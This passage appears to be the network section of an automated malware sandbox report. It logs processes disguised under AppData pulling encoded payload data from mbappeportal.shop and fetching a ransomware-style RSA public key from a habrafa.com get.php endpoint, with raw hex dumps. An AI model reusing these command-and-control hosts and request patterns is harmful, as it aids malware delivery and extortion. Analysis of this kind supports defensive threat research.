                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.573378086 CET1286INData Raw: 43 34 33 39 33 44 43 32 37 38 46 30 45 46 43 33 31 38 42 42 32 37 31 34 37 44 33 42 44 36 41 37 35 32 35 44 45 33 31 43 35 41 41 46 44 30 35 35 46 32 32 43 33 32 42 35 42 30 35 46 32 32 33 38 43 34 33 39 33 44 45 32 37 38 46 30 45 46 43 33 31 38
                                                                                                                                                                                                                                                              Data Ascii: C4393DC278F0EFC318BB27147D3BD6A7525DE31C5AAFD055F22C32B5B05F2238C4393DE278F0EFC318BB27147D3BD6A7525DE35C5AAFD055F22C32B5B05F2238C4393DA278F0EFC318BC27147D3BD6A7525DE033182FC0F7121FC54CB2FBC58154273C000A7EFD4EAA08C04F9FABC6E7C0E00547B83FC015609
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.573393106 CET1286INData Raw: 34 30 42 38 43 33 35 46 45 31 46 35 35 38 44 30 45 44 42 44 31 42 45 31 33 38 46 32 35 33 45 32 31 43 37 45 44 46 46 36 41 39 36 30 41 46 44 35 32 43 46 37 45 30 37 32 36 38 33 34 38 37 30 43 30 30 41 43 39 30 31 46 45 33 37 41 37 38 46 36 31 30
                                                                                                                                                                                                                                                              Data Ascii: 40B8C35FE1F558D0EDBD1BE138F253E21C7EDFF6A960AFD52CF7E0726834870C00AC901FE37A78F6101D1BD68505A3C031B82FC0F5B0BD5FCCD05F85A744373CE0DA5270436A1867328D2BD64505A3C031382FC0F5B0B8687CD05F65A7C4373CE0DA5742837A18873D1D1BD6450523DA7F383FC1E751BFF2F32
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.573406935 CET1286INData Raw: 44 32 43 35 41 41 31 38 43 31 35 46 39 41 43 42 44 36 45 37 30 32 37 34 35 46 38 45 44 38 33 46 38 32 44 38 32 30 39 46 44 35 32 42 39 36 38 46 32 32 37 39 38 33 46 36 45 43 36 30 46 41 43 32 35 43 32 33 35 41 35 38 46 30 42 46 39 36 34 42 43 36
                                                                                                                                                                                                                                                              Data Ascii: D2C5AA18C15F9ACBD6E702745F8ED83F82D8209FD52B968F227983F6EC60FAC25C235A58F0BF964BC6E7C0C912AED85D63B5B0CFE51E5BDF327856ADCC50FA025E235DA440ED1D79770785FF42BED87D61B5B733654CD01D8398139BFC40FA225E235DA450ED1D797047809355903DEFC752AA9FD54C77FF048
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.573980093 CET1286INData Raw: 46 38 45 37 35 32 31 44 33 42 44 36 41 35 30 30 36 33 43 32 38 39 30 37 33 46 43 30 35 35 44 32 32 45 33 35 36 42 36 46 34 46 32 32 37 38 37 36 38 35 31 43 36 30 43 44 42 46 45 46 43 33 37 41 35 41 36 31 30 44 33 41 38 34 45 36 45 37 41 32 30 31
                                                                                                                                                                                                                                                              Data Ascii: F8E7521D3BD6A50063C289073FC055D22E356B6F4F227876851C60CDBFEFC37A5A610D3A84E6E7A201409EF8081F65908F97ED30789D3834277EE2DA40C81C3A18C0AFB85BF7B07D43E2BE981E978A808FD50CF2DE127834859DA0D8E86FC37ABA6FCD3C6C0997A243A29F8FE0405590CFF7C4405F22D80565B


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              55192.168.2.549816104.21.25.142802428C:\Users\user\AppData\Roaming\svchost.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.023755074 CET90OUTGET /get/65c4e505302872e0f3bbb578 HTTP/1.1
                                                                                                                                                                                                                                                              Host: mbappeportal.shop
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.389345884 CET1286INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:22 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Cache-Control: no-cache, no-store, max-age=0
                                                                                                                                                                                                                                                              X-Powered-By: ASP.NET
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LvgcMAm6nlkAEhckdG%2FLyynMM8VaunNy3iYbMQ4LNl2OLvtpJYGYF5v5CmSpTN95tYErSJtinEUGElve%2ByfTqKqRWofTXA9yNP72HeH2XPOvN7K4NJxO5kGgnwf%2Fm%2BhGjBY4aw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 852637d3fee37b93-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              Data Raw: 33 37 32 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 20 0d 0a 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 22 20 2f 3e 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 42 6c 61 7a 6f 72 3a 7b 22 73 65 71 75 65 6e 63 65 22 3a 30 2c 22 74 79 70 65 22 3a 22 73 65 72 76 65 72 22 2c 22 70 72 65 72 65 6e 64 65 72 49 64 22 3a 22 37 38 30 35 36 35 31 64 33 30 38 36 34 64 34 32 62 35 65 31 33 34 33 37 32 30 37 31 66 35 39 63 22 2c 22 64 65 73 63 72 69 70 74 6f 72 22 3a 22 43 66 44 4a 38 46 33 35 6c 37 51 35 31 31 35 48 72 4b 61 55 72 61 76 6d 74 6f 74 36 46 30 52 4a 34 69 5c 75 30 30 32 42 56 38 75 6d 78 4f 74 63 52 49 33 57 4f 37 59 6c 46 41 6a 56 78 42 36 5c 75 30 30 32 42 4c 35 79 38 70 57 50 78 4f 57 55 50 30 58 46 2f 5a 77 72 66 52 77 6a 51 66 37 51 6f 47 4b 44 41 32 68 78 61 37 62 67 4e 39 68 56 34 61 46 33 33 45 6c 65 62 41 44 37 31 34 6b 72 63 5a 68 35 33 72 66 31 43 77 63 49 45 47 34 76 39 32 4a 53 5c 75 30 30 32 42 63 78 51 41 79 6d 48 59 70 57 36 37 4d 65 6f 42 77 58 64 52 32 6d 47 59 47 50 7a 38 6f 6f 4d 57 59 64 48 39 2f 4e 4d 41 57 78 7a 55 33 54 79 4b 78 65 53 32 30 31 50 6b 63 6f 38 63 52 49 50 69 59 6c 7a 49 6c 6d 4b 76 34 4f 56 2f 35 67 71 6d 66 54 6f 6a 6b 79 65 70 34 6c 32 7a 66 63 33 6f 79 36 2f 6b 64 37 54 35 7a 67 50 42 37 54 59 67 69 52 50 68 7a 6f 46 44 74 6f 36 65 65 39 54 6a 6c 63 52 43 59 70 2f 54 42 66 48 5c 75 30 30 32 42 4a 6d 62 54 35 65 74 49 44 39 2f 50 73 73 77 6c 75 4b 68 6e 5c 75 30 30 32 42 30 71 78 41 76 63 50 54 33 42 4d 5a 68 4e 59 34 57 37 59 4d 54 79 6f 77 49 61 30 77 69 5c 75 30 30 32 42 67 4d 6d 65 48 63 39 32 69 68 73 39 53 43 73 6a 31 73 4e 66 78 39 5a 6a 6b 61 5c 75 30 30 32 42 4e 42 68 76 73 4a 79 78 6c 54 48 6f 6a 4f 65 56 34 71 6d 53 69 4c 35 59 6e 4e 47 65
                                                                                                                                                                                                                                                              Data Ascii: 372d<!DOCTYPE html><html lang="ru"><head> <meta charset="utf-8" /> <base href="/" /> ...Blazor:{"sequence":0,"type":"server","prerenderId":"7805651d30864d42b5e134372071f59c","descriptor":"CfDJ8F35l7Q5115HrKaUravmtot6F0RJ4i\u002BV8umxOtcRI3WO7YlFAjVxB6\u002BL5y8pWPxOWUP0XF/ZwrfRwjQf7QoGKDA2hxa7bgN9hV4aF33ElebAD714krcZh53rf1CwcIEG4v92JS\u002BcxQAymHYpW67MeoBwXdR2mGYGPz8ooMWYdH9/NMAWxzU3TyKxeS201Pkco8cRIPiYlzIlmKv4OV/5gqmfTojkyep4l2zfc3oy6/kd7T5zgPB7TYgiRPhzoFDto6ee9TjlcRCYp/TBfH\u002BJmbT5etID9/PsswluKhn\u002B0qxAvcPT3BMZhNY4W7YMTyowIa0wi\u002BgMmeHc92ihs9SCsj1sNfx9Zjka\u002BNBhvsJyxlTHojOeV4qmSiL5YnNGe
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.389364004 CET1286INData Raw: 77 56 4a 77 6b 51 65 63 57 56 37 32 70 6e 6d 79 68 35 35 52 46 61 47 45 57 6b 59 6f 50 64 41 51 4d 64 2f 4f 6c 78 75 77 41 41 48 51 63 78 31 22 7d 2d 2d 3e 3c 74 69 74 6c 65 3e 36 35 63 34 65 35 30 35 33 30 32 38 37 32 65 30 66 33 62 62 62 35 37
                                                                                                                                                                                                                                                              Data Ascii: wVJwkQecWV72pnmyh55RFaGEWkYoPdAQMd/OlxuwAAHQcx1"}--><title>65c4e505302872e0f3bbb578</title>...Blazor:{"prerenderId":"7805651d30864d42b5e134372071f59c"}--></head><body> ...Blazor:{"sequence":1,"type":"server","prerenderId":"4976049c9
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.389379025 CET1286INData Raw: 46 43 33 42 41 41 38 43 30 45 44 31 44 33 42 44 36 45 37 41 32 34 33 45 32 42 45 44 38 33 46 43 30 35 35 39 30 38 46 44 35 34 43 44 43 35 46 41 32 37 38 46 34 32 37 33 43 34 30 46 41 36 30 46 46 43 33 37 41 31 38 43 30 45 44 31 44 33 42 44 36 45
                                                                                                                                                                                                                                                              Data Ascii: FC3BAA8C0ED1D3BD6E7A243E2BED83FC055908FD54CDC5FA278F4273C40FA60FFC37A18C0ED1D3BD6E7A243E2BED83FC055908FD54CD05F227834273C40FA60FFC37A18C0ED1D3BD6E7A243E2BEDA3FC055108FD54CD05F227834273C407860FFC7FA18C0ED1D3BD6E7A243E2BC3F7997D2D08FD54D37CFA278
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.389462948 CET1286INData Raw: 38 43 30 45 43 41 46 39 41 33 36 43 30 31 33 38 33 45 32 42 45 39 41 39 44 45 30 37 35 41 37 35 45 31 35 34 43 44 30 31 44 38 33 39 38 31 36 41 44 33 43 34 30 46 41 43 32 35 32 32 33 35 38 39 30 35 30 45 44 31 44 39 42 45 34 33 37 31 35 36 30 41
                                                                                                                                                                                                                                                              Data Ascii: 8C0ECAF9A36C01383E2BE9A9DE075A75E154CD01D839816AD3C40FAC25223589050ED1D9BE4371560A32EDF38FA45908F72EC928F955EF5B73B47C070FFC3DDB8E2690D3BD687827430BED83F8015B20A854CD03D80581415B860FA609D6E5A39A73F2D3BD6A78063E2BED8381215908F956EF05F227833F56C
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.389477015 CET1286INData Raw: 44 33 42 37 34 36 36 45 32 35 33 45 32 31 36 44 43 42 46 43 30 35 35 44 32 32 38 46 35 36 45 35 38 43 46 32 32 37 38 39 34 31 35 45 43 46 37 44 41 46 31 31 46 43 34 37 44 32 32 44 30 45 44 31 44 39 43 37 36 43 37 39 35 39 37 37 32 42 45 44 38 37
                                                                                                                                                                                                                                                              Data Ascii: D3B7466E253E216DCBFC055D228F56E58CF22789415ECF7DAF11FC47D22D0ED1D9C76C7959772BED87D61B5B7B7454CD03D83981393AC40FA225E235DAC70ED1D7975C78273129E280D40C5908D67EE707E628826A78C40F8D25D635A2830CF9D8BD6E510E7429EFF8B505590CFE5BCF0AF10F8E4273EF25900
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.389489889 CET1286INData Raw: 37 41 32 30 33 43 33 44 39 30 46 36 46 43 30 35 35 44 30 41 46 45 32 39 42 46 30 35 46 32 32 33 38 31 34 36 30 45 42 32 30 46 41 36 30 42 46 45 33 32 44 43 46 42 30 45 44 31 44 37 42 46 37 38 30 37 35 43 33 45 32 42 45 39 38 31 46 32 30 31 32 34
                                                                                                                                                                                                                                                              Data Ascii: 7A203C3D90F6FC055D0AFE29BF05F22381460EB20FA60BFE32DCFB0ED1D7BF78075C3E2BE981F2012471FD54C92FEC25F83173C40B8C11FE4CD58C0ED5F9A36C01513E2BE9A9E207227EFD54C92FEC25F83573C40B8C11FE4CD98C0ED5F9A36C015D3E2BE9A9A2062C29FD54CF28F031A94070612EA60FFE1F7
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.389508963 CET1286INData Raw: 32 31 43 37 42 39 46 45 30 41 35 38 37 33 36 38 35 34 43 44 30 31 38 46 42 32 38 33 34 32 37 37 45 45 32 31 41 34 30 43 45 33 33 38 46 45 46 31 39 42 44 31 44 33 42 39 34 34 32 34 32 36 34 35 42 45 45 44 38 33 46 38 30 41 35 38 37 33 36 38 35 34
                                                                                                                                                                                                                                                              Data Ascii: 21C7B9FE0A58736854CD018FB2834277EE21A40CE338FEF19BD1D3B944242645BEED83F80A58736854CD019225F8D773C40B580ED615BE837DC5D2BD6850162929F29CA3672A1CFC54CB2FDC25F8D773C40BC810D0558BA20CCEFFD9E609303F2BEBA9A207229DFD54C96BE5249C5D2CA665F91996C9A09AF0D
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.389523029 CET1286INData Raw: 46 44 30 35 35 46 32 32 43 33 32 42 35 42 30 35 46 32 32 33 38 43 34 33 39 33 44 43 32 37 38 46 30 45 46 43 33 31 38 42 42 32 37 31 34 37 44 33 42 44 36 41 37 35 32 35 44 45 33 31 43 35 41 41 46 44 30 35 35 46 32 32 43 33 32 42 35 42 30 35 46 32
                                                                                                                                                                                                                                                              Data Ascii: FD055F22C32B5B05F2238C4393DC278F0EFC318BB27147D3BD6A7525DE31C5AAFD055F22C32B5B05F2238C4393DE278F0EFC318BB27147D3BD6A7525DE35C5AAFD055F22C32B5B05F2238C4393DA278F0EFC318BC27147D3BD6A7525DE033182FC0F7121FC54CB2FBC58154273C000A7EFD4EAA08C04F9FABC6
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.389535904 CET1286INData Raw: 38 38 35 41 35 34 43 44 30 31 45 34 34 44 30 33 45 41 37 33 43 34 30 42 38 43 33 35 46 45 31 46 35 35 38 44 30 45 44 42 44 31 42 45 31 33 38 46 32 35 33 45 32 31 43 37 45 44 46 46 36 41 39 36 30 41 46 44 35 32 43 46 37 45 30 37 32 36 38 33 34 38
                                                                                                                                                                                                                                                              Data Ascii: 885A54CD01E44D03EA73C40B8C35FE1F558D0EDBD1BE138F253E21C7EDFF6A960AFD52CF7E0726834870C00AC901FE37A78F6101D1BD68505A3C031B82FC0F5B0BD5FCCD05F85A744373CE0DA5270436A1867328D2BD64505A3C031382FC0F5B0B8687CD05F65A7C4373CE0DA5742837A18873D1D1BD6450523
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.389549971 CET1286INData Raw: 42 39 35 43 46 32 32 37 39 38 33 46 36 46 43 36 30 46 41 43 30 44 32 43 35 41 41 31 38 43 31 35 46 39 41 43 42 44 36 45 37 30 32 37 34 35 46 38 45 44 38 33 46 38 32 44 38 32 30 39 46 44 35 32 42 39 36 38 46 32 32 37 39 38 33 46 36 45 43 36 30 46
                                                                                                                                                                                                                                                              Data Ascii: B95CF227983F6FC60FAC0D2C5AA18C15F9ACBD6E702745F8ED83F82D8209FD52B968F227983F6EC60FAC25C235A58F0BF964BC6E7C0C912AED85D63B5B0CFE51E5BDF327856ADCC50FA025E235DA440ED1D79770785FF42BED87D61B5B733654CD01D8398139BFC40FA225E235DA450ED1D797047809355903D
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.390105963 CET1286INData Raw: 30 44 41 31 34 30 37 30 42 39 46 44 41 36 30 46 46 38 31 44 42 46 38 45 37 35 32 31 44 33 42 44 36 41 35 30 30 36 33 43 32 38 39 30 37 33 46 43 30 35 35 44 32 32 45 33 35 36 42 36 46 34 46 32 32 37 38 37 36 38 35 31 43 36 30 43 44 42 46 45 46 43
                                                                                                                                                                                                                                                              Data Ascii: 0DA14070B9FDA60FF81DBF8E7521D3BD6A50063C289073FC055D22E356B6F4F227876851C60CDBFEFC37A5A610D3A84E6E7A201409EF8081F65908F97ED30789D3834277EE2DA40C81C3A18C0AFB85BF7B07D43E2BE981E978A808FD50CF2DE127834859DA0D8E86FC37ABA6FCD3C6C0997A243A29F8FE04055


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              56192.168.2.549817196.188.169.138803560C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:22.966859102 CET128OUTGET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54 HTTP/1.1
                                                                                                                                                                                                                                                              User-Agent: Microsoft Internet Explorer
                                                                                                                                                                                                                                                              Host: habrafa.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:23.461606026 CET766INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:42 GMT
                                                                                                                                                                                                                                                              Server: Apache/2.4.37 (Win64) PHP/5.6.40
                                                                                                                                                                                                                                                              X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                                              Content-Length: 562
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 73 43 53 73 47 68 32 5c 2f 77 35 66 55 52 56 61 78 64 56 49 5a 5c 5c 6e 6f 2b 6e 37 37 68 30 35 4a 39 67 45 65 56 55 52 76 51 4c 75 78 38 54 4f 30 70 6a 78 72 4a 50 73 61 41 5c 2f 43 32 30 69 55 36 55 49 6e 62 30 43 67 7a 37 50 6c 2b 39 73 73 66 41 74 52 6a 32 75 35 5c 5c 6e 66 61 6d 33 53 73 39 36 34 6b 34 6f 75 4c 63 33 77 41 55 55 46 78 61 7a 6c 6f 78 64 75 75 72 43 37 75 45 62 35 69 67 37 4e 67 5c 2f 42 55 68 6e 53 5a 48 4f 4c 75 79 66 6b 32 6f 5c 2f 46 62 79 4b 63 5c 5c 6e 41 59 43 4e 4f 36 66 4c 70 73 45 79 32 38 59 63 44 74 46 6e 55 73 66 61 6b 74 63 68 66 68 57 38 56 62 6f 5a 34 72 71 77 76 6d 53 4a 47 39 74 38 75 2b 65 50 37 41 46 4d 4a 79 72 44 5c 2f 45 4d 79 5c 5c 6e 74 66 54 76 30 66 32 36 53 46 43 71 7a 4d 49 6b 45 4c 45 5a 33 67 33 45 39 35 35 64 6a 68 75 65 7a 4f 77 45 59 66 4d 32 65 69 69 56 52 4e 43 6a 66 66 78 45 71 63 69 59 39 2b 33 6c 63 42 6f 38 5c 5c 6e 36 4c 78 68 70 51 50 68 66 34 74 5c 2f 68 74 70 54 63 34 5c 2f 78 44 64 66 32 5c 2f 42 59 79 37 67 68 62 51 49 56 68 4c 7a 70 78 30 43 31 6e 4e 4e 70 2b 6a 34 79 4a 4f 6f 74 54 2b 31 58 4a 6f 31 51 47 5c 5c 6e 33 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 38 44 76 6f 71 78 33 62 76 66 76 31 47 4e 4f 58 77 51 4c 72 53 39 4e 68 4b 38 41 35 42 75 65 75 64 70 56 6c 43 76 43 77 22 7d
                                                                                                                                                                                                                                                              Data Ascii: {"public_key":"-----BEGIN&#160;PUBLIC&#160;KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8TO0pjxrJPsaA\/C20iU6UInb0Cgz7Pl+9ssfAtRj2u5\\nfam3Ss964k4ouLc3wAUUFxazloxduurC7uEb5ig7Ng\/BUhnSZHOLuyfk2o\/FbyKc\\nAYCNO6fLpsEy28YcDtFnUsfaktchfhW8VboZ4rqwvmSJG9t8u+eP7AFMJyrD\/EMy\\ntfTv0f26SFCqzMIkELEZ3g3E955djhuezOwEYfM2eiiVRNCjffxEqciY9+3lcBo8\\n6LxhpQPhf4t\/htpTc4\/xDdf2\/BYy7ghbQIVhLzpx0C1nNNp+j4yJOotT+1XJo1QG\\n3wIDAQAB\\n-----END&#160;PUBLIC&#160;KEY-----\\n","id":"8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw"}


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                              57192.168.2.549818104.21.25.14280
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:28.833921909 CET90OUTGET /get/65c4e505302872e0f3bbb578 HTTP/1.1
                                                                                                                                                                                                                                                              Host: mbappeportal.shop
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:29.213042021 CET1286INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:29 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Cache-Control: no-cache, no-store, max-age=0
                                                                                                                                                                                                                                                              X-Powered-By: ASP.NET
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O2RmPTrDkw3dozKeqS7PNmCHK4L8frTIWdnXFXicyqeFLFy%2FVp3Oq6CBhAPRryFxziyLjT6srhVdRmfdkSijOy1%2F3OgbtP4DQnoii3V%2FuCpz7s66M%2BH8qJ5Y1N7XsMWJwIh4QQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 852637fe8953676b-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              Data Raw: 33 37 32 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 20 0d 0a 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 22 20 2f 3e 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 42 6c 61 7a 6f 72 3a 7b 22 73 65 71 75 65 6e 63 65 22 3a 30 2c 22 74 79 70 65 22 3a 22 73 65 72 76 65 72 22 2c 22 70 72 65 72 65 6e 64 65 72 49 64 22 3a 22 32 35 33 36 64 31 38 38 37 62 36 38 34 66 33 35 61 66 65 34 35 62 30 31 37 33 32 66 63 63 33 32 22 2c 22 64 65 73 63 72 69 70 74 6f 72 22 3a 22 43 66 44 4a 38 46 33 35 6c 37 51 35 31 31 35 48 72 4b 61 55 72 61 76 6d 74 6f 76 42 79 50 32 6d 57 6d 6b 5a 56 6d 77 47 67 59 6b 61 32 67 30 6a 6a 33 42 6b 52 6c 69 47 42 34 7a 49 30 31 4a 35 73 76 6b 4e 4c 30 64 67 51 35 58 39 62 39 4d 65 72 46 59 47 32 78 4d 4b 46 48 75 67 46 30 70 64 55 64 53 4d 64 4b 63 55 45 63 78 54 4e 4d 6a 54 51 71 4a 51 79 78 37 62 53 44 73 57 54 75 2f 71 78 46 63 6f 4e 5c 75 30 30 32 42 49 54 39 66 5a 42 6f 4e 74 35 5a 71 53 4b 50 65 56 70 70 47 53 47 66 79 62 59 4d 46 47 67 72 5c 75 30 30 32 42 43 6d 6e 47 37 49 6f 48 77 68 6b 46 62 70 32 77 35 4c 78 6d 65 78 5a 74 79 65 4b 30 4f 53 44 41 72 57 59 73 6f 74 36 51 37 6c 37 69 78 76 4e 6f 55 6b 34 4a 7a 36 58 35 68 77 6a 58 37 63 44 65 56 77 4b 2f 47 39 6a 73 46 64 71 69 6f 46 43 5c 75 30 30 32 42 50 7a 41 6e 63 6a 2f 67 56 6b 62 69 79 2f 46 34 58 49 4d 34 7a 33 36 53 70 4c 4b 55 58 4d 39 6c 6d 6c 65 61 31 4f 4a 41 37 4d 2f 4a 67 4b 51 53 59 74 6f 48 4c 68 61 76 7a 4f 47 64 5a 33 79 30 5a 53 53 58 67 67 70 73 5c 75 30 30 32 42 66 38 55 38 42 48 37 55 44 39 58 75 65 4b 64 36 59 70 67 68 65 5c 75 30 30 32 42 70 5c 75 30 30 32 42 51 42 75 54 4a 6b 58 4e 6c 6b 61 73 75 6b 70 65 38 6b 72 71 35 5a 6b 56 6f 38 76 37 6b 41 4d 67 55 70 4e 33 33 71 44 56 72 30 50 74 6e 36 39
                                                                                                                                                                                                                                                              Data Ascii: 372d<!DOCTYPE html><html lang="ru"><head> <meta charset="utf-8" /> <base href="/" /> ...Blazor:{"sequence":0,"type":"server","prerenderId":"2536d1887b684f35afe45b01732fcc32","descriptor":"CfDJ8F35l7Q5115HrKaUravmtovByP2mWmkZVmwGgYka2g0jj3BkRliGB4zI01J5svkNL0dgQ5X9b9MerFYG2xMKFHugF0pdUdSMdKcUEcxTNMjTQqJQyx7bSDsWTu/qxFcoN\u002BIT9fZBoNt5ZqSKPeVppGSGfybYMFGgr\u002BCmnG7IoHwhkFbp2w5LxmexZtyeK0OSDArWYsot6Q7l7ixvNoUk4Jz6X5hwjX7cDeVwK/G9jsFdqioFC\u002BPzAncj/gVkbiy/F4XIM4z36SpLKUXM9lmlea1OJA7M/JgKQSYtoHLhavzOGdZ3y0ZSSXggps\u002Bf8U8BH7UD9XueKd6Ypghe\u002Bp\u002BQBuTJkXNlkasukpe8krq5ZkVo8v7kAMgUpN33qDVr0Ptn69
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:29.213088036 CET1286INData Raw: 71 53 47 58 6a 72 68 52 61 46 6f 78 2f 33 69 38 4e 45 55 61 71 78 75 63 56 38 39 44 7a 47 56 34 4b 47 55 69 35 64 78 77 57 6d 22 7d 2d 2d 3e 3c 74 69 74 6c 65 3e 36 35 63 34 65 35 30 35 33 30 32 38 37 32 65 30 66 33 62 62 62 35 37 38 3c 2f 74 69
                                                                                                                                                                                                                                                              Data Ascii: qSGXjrhRaFox/3i8NEUaqxucV89DzGV4KGUi5dxwWm"}--><title>65c4e505302872e0f3bbb578</title>...Blazor:{"prerenderId":"2536d1887b684f35afe45b01732fcc32"}--></head><body> ...Blazor:{"sequence":1,"type":"server","prerenderId":"5a75c202076640
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:29.213104963 CET1286INData Raw: 46 30 36 30 37 46 43 33 42 41 41 38 43 30 45 44 31 44 33 42 44 36 45 37 41 32 34 33 45 32 42 45 44 38 33 46 43 30 35 35 39 30 38 46 44 35 34 43 44 43 35 46 41 32 37 38 46 34 32 37 33 43 34 30 46 41 36 30 46 46 43 33 37 41 31 38 43 30 45 44 31 44
                                                                                                                                                                                                                                                              Data Ascii: F0607FC3BAA8C0ED1D3BD6E7A243E2BED83FC055908FD54CDC5FA278F4273C40FA60FFC37A18C0ED1D3BD6E7A243E2BED83FC055908FD54CD05F227834273C40FA60FFC37A18C0ED1D3BD6E7A243E2BEDA3FC055108FD54CD05F227834273C407860FFC7FA18C0ED1D3BD6E7A243E2BC3F7997D2D08FD54D37C
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:29.213119030 CET1286INData Raw: 36 34 33 42 42 38 43 30 45 43 41 46 39 41 33 36 43 30 31 33 38 33 45 32 42 45 39 41 39 44 45 30 37 35 41 37 35 45 31 35 34 43 44 30 31 44 38 33 39 38 31 36 41 44 33 43 34 30 46 41 43 32 35 32 32 33 35 38 39 30 35 30 45 44 31 44 39 42 45 34 33 37
                                                                                                                                                                                                                                                              Data Ascii: 643BB8C0ECAF9A36C01383E2BE9A9DE075A75E154CD01D839816AD3C40FAC25223589050ED1D9BE4371560A32EDF38FA45908F72EC928F955EF5B73B47C070FFC3DDB8E2690D3BD687827430BED83F8015B20A854CD03D80581415B860FA609D6E5A39A73F2D3BD6A78063E2BED8381215908F956EF05F22783
